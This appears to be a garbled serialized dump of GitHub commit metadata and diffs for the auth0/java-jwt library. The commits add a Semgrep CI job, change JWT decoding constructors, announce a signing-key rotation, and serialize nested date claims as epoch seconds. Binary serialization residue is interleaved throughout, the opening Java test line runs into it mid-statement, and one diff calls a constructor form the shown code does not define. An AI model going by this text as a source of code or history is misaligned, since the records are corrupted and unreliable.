         JWTVerifier.BaseVerification verification = (JWTVerifier.BaseVerification) JWTVerifier.init(Algorithm.HMAC256("secret"));
         DecodedJWT jwt = verification
                 .build(mockNow)ueu(8131361c0a24413aa57499b307d233294b83b3ed}(sha(8131361c0a24413aa57499b307d233294b83b3ednode_idEC_kwDOAQtL0doAKDgxMzEzNjFjMGEyNDQxM2FhNTc0OTliMzA3ZDIzMzI5NGI4M2IzZWQcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-04-14T20:37:47Zu	committer}(j_L  GitHubjaL  noreply@github.comjcL  2022-04-14T20:37:47Zumessage`Merge pull request #575 from auth0/test/add-semgrep

Add Semgrep to continuous integration teststree}(jWL  (646452af84152ddb0359843e870ffb2712a11174url^https://api.github.com/repos/auth0/java-jwt/git/trees/646452af84152ddb0359843e870ffb2712a11174ujoL  `https://api.github.com/repos/auth0/java-jwt/git/commits/8131361c0a24413aa57499b307d233294b83b3ed
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiWIYbCRBK7hj4Ov3rIwAABYgIAAjCkkBfwYD1ouPg8z258dMk
ynNWgTekqzUVI2gAlytbr9AuERnKgJ7whoPdR2gsoytvUY/SaK8bdE5rinG8tq/2
7HK0bzrdhi5wRQhaOEQl0OGeaBnnnc3jjAPa+/KxRHB7E8Loa7poSNA9Z+6PMgMy
BM9OjKDgK2QaNu3or8L+0JVC9Qot3kwne/VpGJFyqbTYLQClQEH+7dSqfoFAErBO
k8X0LC8j7Qayz9PHnc0rt1w7qslcWUPWZJI+WdMaC4aWKt/LxLhv3qMv+GIOt/IX
NpU0XtQXhEeD2FkSXVNLMx32ts6B+xp8V9bsznMXHxthII3dInfv8Lk+KCZv1nE=
=qvnq
-----END PGP SIGNATURE-----
payloadX^  tree 646452af84152ddb0359843e870ffb2712a11174
parent c82c1500b50010734e3d2336046f82c2504db16f
parent 54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479d
author Evan Sims <evan.sims@auth0.com> 1649968667 -0500
committer GitHub <noreply@github.com> 1649968667 -0500

Merge pull request #575 from auth0/test/add-semgrep

Add Semgrep to continuous integration testsuujoL  \https://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3edhtml_urlQhttps://github.com/auth0/java-jwt/commit/8131361c0a24413aa57499b307d233294b83b3edcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3ed/commentsj]L  }(loginevansimsidMjYL  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3joL  %https://api.github.com/users/evansimsj}L  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujeL  }(jL  web-flowjL  J/jYL  MDQ6VXNlcjE5ODY0NDQ3jL  4https://avatars.githubusercontent.com/u/19864447?v=4jL  h3joL  %https://api.github.com/users/web-flowj}L  https://github.com/web-flowjL  /https://api.github.com/users/web-flow/followersjL  <https://api.github.com/users/web-flow/following{/other_user}jL  5https://api.github.com/users/web-flow/gists{/gist_id}jL  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jL  3https://api.github.com/users/web-flow/subscriptionsjL  *https://api.github.com/users/web-flow/orgsjL  +https://api.github.com/users/web-flow/reposjL  6https://api.github.com/users/web-flow/events{/privacy}jL  5https://api.github.com/users/web-flow/received_eventsjL  UserjL  uparents](}(jWL  (c82c1500b50010734e3d2336046f82c2504db16fjoL  \https://api.github.com/repos/auth0/java-jwt/commits/c82c1500b50010734e3d2336046f82c2504db16fj}L  Qhttps://github.com/auth0/java-jwt/commit/c82c1500b50010734e3d2336046f82c2504db16fu}(jWL  (54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479djoL  \https://api.github.com/repos/auth0/java-jwt/commits/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479dj}L  Qhttps://github.com/auth0/java-jwt/commit/54d97c68ad2e4b57aa21dea6bc3ed6cec0c0479duestats}(totalK	additionsK	deletionsKufiles]}(jWL  (f47d6efa1efeae105d6fc56655187857273288d9filename.circleci/config.ymlstatusmodifiedjL  KjL  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/8131361c0a24413aa57499b307d233294b83b3ed/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/8131361c0a24413aa57499b307d233294b83b3ed/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=8131361c0a24413aa57499b307d233294b83b3edpatchX  @@ -53,11 +53,26 @@ jobs:
 #      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
 #      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
 #      TERM: dumb
+  semgrep:
+    docker:
+      - image: returntocorp/semgrep-agent:v1
+    environment:
+      SEMGREP_REPO_NAME: "auth0/java-jwt"
+      SEMGREP_REPO_URL: "https://github.com/auth0/java-jwt"
+    steps:
+      - checkout
+      - run:
+          name: Run vulnerabilities tests (Semgrep)
+          command: |
+            semgrep-agent --baseline-ref master --publish-token $SEMGREP_TOKEN
 
 workflows:
   build-and-test:
     jobs:
       - build
+      - semgrep:
+          context:
+            - semgrep-env
 #  api-diff:
 #    jobs:
-#      - api-diff
\ No newline at end of file
+#      - api-diffuau(1d7bc76b194e57010045b392356cfba77b77b3e2}(sha(1d7bc76b194e57010045b392356cfba77b77b3e2node_idEC_kwDOAQtL0doAKDFkN2JjNzZiMTk0ZTU3MDEwMDQ1YjM5MjM1NmNmYmE3N2I3N2IzZTIcommit}(author}(nameli.heemailli.he@thoughtworks.comdate2022-10-26T10:05:30Zu	committer}(jL  li.hejL  li.he@thoughtworks.comjL  2022-10-26T10:05:30Zumessagefeat: update constructiontree}(jL  (55d331ae4fba398ebace040002c090dd28f54766url^https://api.github.com/repos/auth0/java-jwt/git/trees/55d331ae4fba398ebace040002c090dd28f54766ujL  `https://api.github.com/repos/auth0/java-jwt/git/commits/1d7bc76b194e57010045b392356cfba77b77b3e2
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujL  \https://api.github.com/repos/auth0/java-jwt/commits/1d7bc76b194e57010045b392356cfba77b77b3e2html_urlQhttps://github.com/auth0/java-jwt/commit/1d7bc76b194e57010045b392356cfba77b77b3e2comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1d7bc76b194e57010045b392356cfba77b77b3e2/commentsjL  }(loginheli-twidJPjL  U_kgDOBcxQpA
avatar_url4https://avatars.githubusercontent.com/u/97276068?v=4gravatar_idh3jL  $https://api.github.com/users/heli-twjL  https://github.com/heli-tw
followers_url.https://api.github.com/users/heli-tw/followers
following_url;https://api.github.com/users/heli-tw/following{/other_user}	gists_url4https://api.github.com/users/heli-tw/gists{/gist_id}starred_url;https://api.github.com/users/heli-tw/starred{/owner}{/repo}subscriptions_url2https://api.github.com/users/heli-tw/subscriptionsorganizations_url)https://api.github.com/users/heli-tw/orgs	repos_url*https://api.github.com/users/heli-tw/repos
events_url5https://api.github.com/users/heli-tw/events{/privacy}received_events_url4https://api.github.com/users/heli-tw/received_eventstypeUser
site_adminujL  }(jL  heli-twjL  JPjL  U_kgDOBcxQpAjL  4https://avatars.githubusercontent.com/u/97276068?v=4jM  h3jL  $https://api.github.com/users/heli-twjL  https://github.com/heli-twjM  .https://api.github.com/users/heli-tw/followersjM  ;https://api.github.com/users/heli-tw/following{/other_user}jM  4https://api.github.com/users/heli-tw/gists{/gist_id}j
M  ;https://api.github.com/users/heli-tw/starred{/owner}{/repo}jM  2https://api.github.com/users/heli-tw/subscriptionsjM  )https://api.github.com/users/heli-tw/orgsjM  *https://api.github.com/users/heli-tw/reposjM  5https://api.github.com/users/heli-tw/events{/privacy}jM  4https://api.github.com/users/heli-tw/received_eventsjM  UserjM  uparents]}(jL  (e5274494145afe9b77648edc06ca55be97ccfbe6jL  \https://api.github.com/repos/auth0/java-jwt/commits/e5274494145afe9b77648edc06ca55be97ccfbe6jL  Qhttps://github.com/auth0/java-jwt/commit/e5274494145afe9b77648edc06ca55be97ccfbe6uastats}(totalK	additionsK	deletionsKufiles](}(jL  (94df46659c62b8ebc2d8599b122833895b9dab57filename(lib/src/main/java/com/auth0/jwt/JWT.javastatusmodifiedj2M  Kj3M  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1d7bc76b194e57010045b392356cfba77b77b3e2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1d7bc76b194e57010045b392356cfba77b77b3e2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=1d7bc76b194e57010045b392356cfba77b77b3e2patchX  @@ -28,7 +28,7 @@ public JWT() {
      * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
      */
     public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
-        return decodeJwt(token, true);
+        return new JWTDecoder(token);
     }
 
     /**
@@ -55,7 +55,7 @@ public DecodedJWT decodeJwt(String token, boolean isUrlEncoded) throws JWTDecode
      * @throws JWTDecodeException if any part of the token contained an invalid jwt or JSON format of each of the jwt parts.
      */
     public static DecodedJWT decode(String token) throws JWTDecodeException {
-        return decode(token, true);
+        return new JWTDecoder(token);
     }
 
     /**u}(jL  (e04223906317346af953c0745ee835aefd9c3034j8M  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj:M  modifiedj2M  Kj3M  Kj<M  Kj=M  https://github.com/auth0/java-jwt/blob/1d7bc76b194e57010045b392356cfba77b77b3e2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj?M  https://github.com/auth0/java-jwt/raw/1d7bc76b194e57010045b392356cfba77b77b3e2/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javajAM  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=1d7bc76b194e57010045b392356cfba77b77b3e2jCM  XV  @@ -29,7 +29,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
     private final boolean urlEncoded;
 
     JWTDecoder(String jwt) throws JWTDecodeException {
-        this(new JWTParser(), jwt, true);
+        this(new JWTParser(), jwt);
     }
 
     JWTDecoder(String jwt, boolean isUrlEncoded) throws JWTDecodeException {ueu(cd4c42fa08338bf46dc61c37029210f1b8f4339d}(sha(cd4c42fa08338bf46dc61c37029210f1b8f4339dnode_idEC_kwDOAQtL0doAKGNkNGM0MmZhMDgzMzhiZjQ2ZGM2MWMzNzAyOTIxMGYxYjhmNDMzOWQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-01-11T12:37:50Zu	committer}(jWM  Jim AndersonjYM  jimranderson@gmail.comj[M  2023-01-11T13:03:31ZumessageRelease 3.19.4tree}(jOM  (37233402863caaa230d5569ed499429e14d11a97url^https://api.github.com/repos/auth0/java-jwt/git/trees/37233402863caaa230d5569ed499429e14d11a97ujgM  `https://api.github.com/repos/auth0/java-jwt/git/commits/cd4c42fa08338bf46dc61c37029210f1b8f4339d
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujgM  \https://api.github.com/repos/auth0/java-jwt/commits/cd4c42fa08338bf46dc61c37029210f1b8f4339dhtml_urlQhttps://github.com/auth0/java-jwt/commit/cd4c42fa08338bf46dc61c37029210f1b8f4339dcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/cd4c42fa08338bf46dc61c37029210f1b8f4339d/commentsjUM  }(login
jimmyjamesidJ7 jQM  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jgM  'https://api.github.com/users/jimmyjamesjsM  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj]M  }(jxM  
jimmyjamesjzM  J7 jQM  MDQ6VXNlcjI3NjIyNQ==j|M  2https://avatars.githubusercontent.com/u/276225?v=4j~M  h3jgM  'https://api.github.com/users/jimmyjamesjsM  https://github.com/jimmyjamesjM  1https://api.github.com/users/jimmyjames/followersjM  >https://api.github.com/users/jimmyjames/following{/other_user}jM  7https://api.github.com/users/jimmyjames/gists{/gist_id}jM  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jM  5https://api.github.com/users/jimmyjames/subscriptionsjM  ,https://api.github.com/users/jimmyjames/orgsjM  -https://api.github.com/users/jimmyjames/reposjM  8https://api.github.com/users/jimmyjames/events{/privacy}jM  7https://api.github.com/users/jimmyjames/received_eventsjM  UserjM  uparents]}(jOM  (3f5df48e012cae624a0d77ed0cda61aad6b5d9e6jgM  \https://api.github.com/repos/auth0/java-jwt/commits/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6jsM  Qhttps://github.com/auth0/java-jwt/commit/3f5df48e012cae624a0d77ed0cda61aad6b5d9e6uastats}(totalK	additionsK	deletionsK ufiles](}(jOM  (f22b8da7ff2d670310d00c0189a856723355ff2dfilenameCHANGELOG.mdstatusmodifiedjM  KjM  K changesKblob_url\https://github.com/auth0/java-jwt/blob/cd4c42fa08338bf46dc61c37029210f1b8f4339d/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/cd4c42fa08338bf46dc61c37029210f1b8f4339d/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=cd4c42fa08338bf46dc61c37029210f1b8f4339dpatchXx  @@ -1,5 +1,11 @@
 # Change Log
 
+## [3.19.4](https://github.com/auth0/java-jwt/tree/3.19.4) (2023-01-11)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.3...3.19.4) 
+
+This patch release does not contain any functional changes, but is being released using an updated signing key for verification as part of our commitment to best security practices.
+Please review [the README note for additional details.](https://github.com/auth0/java-jwt/blob/v3/README.md)
+
 ## [3.19.3](https://github.com/auth0/java-jwt/tree/3.19.3) (2022-10-24)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/3.19.2...3.19.3)
 u}(jOM  (82d098de613cc515e19546b58bdc740df8fbd92ajM  	README.mdjM  modifiedjM  KjM  K jM  KjM  Yhttps://github.com/auth0/java-jwt/blob/cd4c42fa08338bf46dc61c37029210f1b8f4339d/README.mdjM  Xhttps://github.com/auth0/java-jwt/raw/cd4c42fa08338bf46dc61c37029210f1b8f4339d/README.mdjM  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=cd4c42fa08338bf46dc61c37029210f1b8f4339djM  X  @@ -7,6 +7,12 @@
 [![License](https://img.shields.io/:license-mit-blue.svg?style=flat)](https://doge.mit-license.org)
 [![Javadoc](https://javadoc.io/badge2/com.auth0/java-jwt/javadoc.svg)](https://javadoc.io/doc/com.auth0/java-jwt/latest/index.html)
 
+> **Note**
+> As part of our ongoing commitment to best security practices, we have rotated the signing keys used to sign previous releases of this SDK. As a result, new patch builds have been released using the new signing key. Please upgrade at your earliest convenience.
+> 
+> While this change won’t affect most developers, if you have implemented a dependency signature validation step in your build process, you may notice a warning that past releases can’t be verified. This is expected, and a result of the key rotation process. Updating to the latest version will resolve this for you.
+
+
 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
 > :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.ueu(30985ef3eec72148984b7b4082b01959c6545f89}(sha(30985ef3eec72148984b7b4082b01959c6545f89node_idEC_kwDOAQtL0doAKDMwOTg1ZWYzZWVjNzIxNDg5ODRiN2I0MDgyYjAxOTU5YzY1NDVmODkcommit}(author}(nameJames Andersonemailjim.anderson@auth0.comdate2022-03-02T19:02:42Zu	committer}(jM  James AndersonjM  jim.anderson@auth0.comjM  2022-03-02T19:02:42Zumessage@[SDK-3150] Serialize dates in collections as seconds since epochtree}(jM  (b51e04fcd7fe124e234b83efbc43f94b8d3cb51aurl^https://api.github.com/repos/auth0/java-jwt/git/trees/b51e04fcd7fe124e234b83efbc43f94b8d3cb51aujM  `https://api.github.com/repos/auth0/java-jwt/git/commits/30985ef3eec72148984b7b4082b01959c6545f89
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujM  \https://api.github.com/repos/auth0/java-jwt/commits/30985ef3eec72148984b7b4082b01959c6545f89html_urlQhttps://github.com/auth0/java-jwt/commit/30985ef3eec72148984b7b4082b01959c6545f89comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/30985ef3eec72148984b7b4082b01959c6545f89/commentsjM  }(login
jimmyjamesidJ7 jM  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jM  'https://api.github.com/users/jimmyjamesjM  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujM  }(jM  
jimmyjamesjM  J7 jM  MDQ6VXNlcjI3NjIyNQ==jM  2https://avatars.githubusercontent.com/u/276225?v=4jM  h3jM  'https://api.github.com/users/jimmyjamesjM  https://github.com/jimmyjamesjM  1https://api.github.com/users/jimmyjames/followersj N  >https://api.github.com/users/jimmyjames/following{/other_user}jN  7https://api.github.com/users/jimmyjames/gists{/gist_id}jN  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jN  5https://api.github.com/users/jimmyjames/subscriptionsjN  ,https://api.github.com/users/jimmyjames/orgsj
N  -https://api.github.com/users/jimmyjames/reposjN  8https://api.github.com/users/jimmyjames/events{/privacy}jN  7https://api.github.com/users/jimmyjames/received_eventsjN  UserjN  uparents]}(jM  (1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajM  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fajM  Qhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fauastats}(totalKR	additionsKE	deletionsK
ufiles](}(jM  (5ed062a31e8e4437a54492db2325e74337d20871filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj,N  Kj-N  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=30985ef3eec72148984b7b4082b01959c6545f89patchX  @@ -140,7 +140,8 @@ public Builder withAudience(String... audience) {
         }
 
         /**
-         * Add a specific Expires At ("exp") claim to the Payload.
+         * Add a specific Expires At ("exp") claim to the payload. The claim will be written as seconds since the epoch;
+         * milliseconds will be truncated.
          *
          * @param expiresAt the Expires At value.
          * @return this same Builder instance.
@@ -151,7 +152,8 @@ public Builder withExpiresAt(Date expiresAt) {
         }
 
         /**
-         * Add a specific Not Before ("nbf") claim to the Payload.
+         * Add a specific Not Before ("nbf") claim to the Payload. The claim will be written as seconds since the epoch;
+         * milliseconds will be truncated.
          *
          * @param notBefore the Not Before value.
          * @return this same Builder instance.
@@ -162,7 +164,8 @@ public Builder withNotBefore(Date notBefore) {
         }
 
         /**
-         * Add a specific Issued At ("iat") claim to the Payload.
+         * Add a specific Issued At ("iat") claim to the Payload. The claim will be written as seconds since the epoch;
+         * milliseconds will be truncated.
          *
          * @param issuedAt the Issued At value.
          * @return this same Builder instance.
@@ -254,7 +257,8 @@ public Builder withClaim(String name, String value) throws IllegalArgumentExcept
         }
 
         /**
-         * Add a custom Claim value.
+         * Add a custom Claim value. The claim will be written as seconds since the epoch;
+         * milliseconds will be truncated.
          *
          * @param name  the Claim's name.
          * @param value the Claim's value.u}(jM  (9ec6dc89502da5c6b4c3902a5f35a1e9d85c8aecj2N  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javaj4N  modifiedj,N  K$j-N  Kj6N  K)j7N  https://github.com/auth0/java-jwt/blob/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj9N  https://github.com/auth0/java-jwt/raw/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javaj;N  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=30985ef3eec72148984b7b4082b01959c6545f89j=N  X^  @@ -33,11 +33,7 @@ public void serialize(ClaimsHolder holder, JsonGenerator gen, SerializerProvider
                 writeAudience(gen, e);
             } else {
                 gen.writeFieldName(e.getKey());
-                if (e.getValue() instanceof Date) { // true for EXPIRES_AT, ISSUED_AT, NOT_BEFORE
-                    gen.writeNumber(dateToSeconds((Date) e.getValue()));
-                } else {
-                    gen.writeObject(e.getValue());
-                }
+                handleSerialization(e.getValue(), gen);
             }
         }
 
@@ -74,6 +70,41 @@ private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throw
         }
     }
 
+    /**
+     * Serializes {@linkplain Date} to epoch second values, traversing maps and lists as needed.
+     * @param value the object to serialize
+     * @param gen the JsonGenerator to use for JSON serialization
+     */
+    private void handleSerialization(Object value, JsonGenerator gen) throws IOException {
+        if (value instanceof Date) { // EXPIRES_AT, ISSUED_AT, NOT_BEFORE, custom date claims
+            gen.writeNumber(dateToSeconds((Date) value));
+        } else if (value instanceof Map) {
+            serializeMap((Map<?, ?>) value, gen);
+        } else if (value instanceof List) {
+            serializeList((List<?>) value, gen);
+        } else {
+            gen.writeObject(value);
+        }
+    }
+
+    private void serializeMap(Map<?, ?> map, JsonGenerator gen) throws IOException {
+        gen.writeStartObject();
+        for (Map.Entry<?, ?> entry : map.entrySet()) {
+            gen.writeFieldName((String) entry.getKey());
+            Object value = entry.getValue();
+            handleSerialization(value, gen);
+        }
+        gen.writeEndObject();
+    }
+
+    private void serializeList(List<?> list, JsonGenerator gen) throws IOException {
+        gen.writeStartArray();
+        for (Object entry : list) {
+            handleSerialization(entry, gen);
+        }
+        gen.writeEndArray();
+    }
+
     private long dateToSeconds(Date date) {
         return date.getTime() / 1000;
     }u}(jM  (36c24983966a2e8da8209915624a0500c328f21ej2N  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj4N  modifiedj,N  Kj-N  Kj6N  Kj7N  https://github.com/auth0/java-jwt/blob/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj9N  https://github.com/auth0/java-jwt/raw/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj;N  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=30985ef3eec72148984b7b4082b01959c6545f89j=N  X1  @@ -2,6 +2,7 @@
 
 import com.auth0.jwt.algorithms.Algorithm;
 import com.auth0.jwt.impl.PublicClaims;
+import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 import com.auth0.jwt.interfaces.RSAKeyProvider;
 import com.fasterxml.jackson.databind.ObjectMapper;
@@ -13,6 +14,8 @@
 import java.nio.charset.StandardCharsets;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.RSAPrivateKey;
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
 import java.util.*;
 
 import static org.hamcrest.Matchers.*;
@@ -499,7 +502,7 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         data.put("integer", 1);
         data.put("long", Long.MAX_VALUE);
         data.put("double", 123.456d);
-        data.put("date", new Date(123L));
+        data.put("date", new Date(123456789));
         data.put("boolean", true);
 
         // array types
@@ -529,7 +532,8 @@ public void shouldAcceptCustomMapClaimOfBasicObjectTypes() throws Exception {
         assertThat(map.get("integer"), is(1));
         assertThat(map.get("long"), is(Long.MAX_VALUE));
         assertThat(map.get("double"), is(123.456d));
-        assertThat(map.get("date"), is(123));
+
+        assertThat(map.get("date"), is(123456));
         assertThat(map.get("boolean"), is(true));
 
         // array types
@@ -553,7 +557,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         data.add(1);
         data.add(Long.MAX_VALUE);
         data.add(123.456d);
-        data.add(new Date(123L));
+        data.add(new Date(123456789));
         data.add(true);
 
         // array types
@@ -583,7 +587,7 @@ public void shouldAcceptCustomListClaimOfBasicObjectTypes() throws Exception {
         assertThat(list.get(1), is(1));
         assertThat(list.get(2), is(Long.MAX_VALUE));
         assertThat(list.get(3), is(123.456d));
-        assertThat(list.get(4), is(123));
+        assertThat(list.get(4), is(123456));
         assertThat(list.get(5), is(true));
 
         // array typesu}(jM  (df93f0bae4197d218e712faa73edf66c0e5d404ej2N  ?lib/src/test/java/com/auth0/jwt/impl/PayloadSerializerTest.javaj4N  modifiedj,N  Kj-N  K j6N  Kj7N  https://github.com/auth0/java-jwt/blob/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj9N  https://github.com/auth0/java-jwt/raw/30985ef3eec72148984b7b4082b01959c6545f89/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.javaj;N  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializerTest.java?ref=30985ef3eec72148984b7b4082b01959c6545f89j=N  X  @@ -176,15 +176,32 @@ public void shouldSerializeDatesUsingLong() throws Exception {
         claims.put("nbf", date);
         claims.put("exp", date);
         claims.put("ctm", date);
+        claims.put("map", Collections.singletonMap("date", date));
+        claims.put("list", Collections.singletonList(date));
+
+        Map<String, Object> nestedInMap = new HashMap<>();
+        nestedInMap.put("list", Collections.singletonList(date));
+        claims.put("nestedInMap", nestedInMap);
+
+        List<Object> nestedInList = new ArrayList<>();
+        nestedInList.add(Collections.singletonMap("nested", date));
+        claims.put("nestedInList", nestedInList);
+
         ClaimsHolder holder = new ClaimsHolder(claims);
         serializer.serialize(holder, jsonGenerator, serializerProvider);
         jsonGenerator.flush();
 
         String json = writer.toString();
+        System.out.println(json);
+
         assertThat(json, containsString("\"iat\":2147493647"));
         assertThat(json, containsString("\"nbf\":2147493647"));
         assertThat(json, containsString("\"exp\":2147493647"));
         assertThat(json, containsString("\"ctm\":2147493647"));
+        assertThat(json, containsString("\"map\":{\"date\":2147493647"));
+        assertThat(json, containsString("\"list\":[2147493647]"));
+        assertThat(json, containsString("\"nestedInMap\":{\"list\":[2147493647]}"));
+        assertThat(json, containsString("\"nestedInList\":[{\"nested\":2147493647}]"));
     }
 
     @Testueu(0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbc}(sha(0f8a9bf20f215f9cdb78c50d7edbfe9d811cfdbcnode_idEC_kwDOAQtL0doAKDBmOGE5YmYyMGYyMTVmOWNkYjc4YzUwZDdlZGJmZTlkODExY2ZkYmMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-12T13:48:46Zu	committer}(jaN  GitHubjcN  noreply@github.comjeN  2022-04-12T13:48:46ZumessagecReplace expected exception with assertThrows (#572)

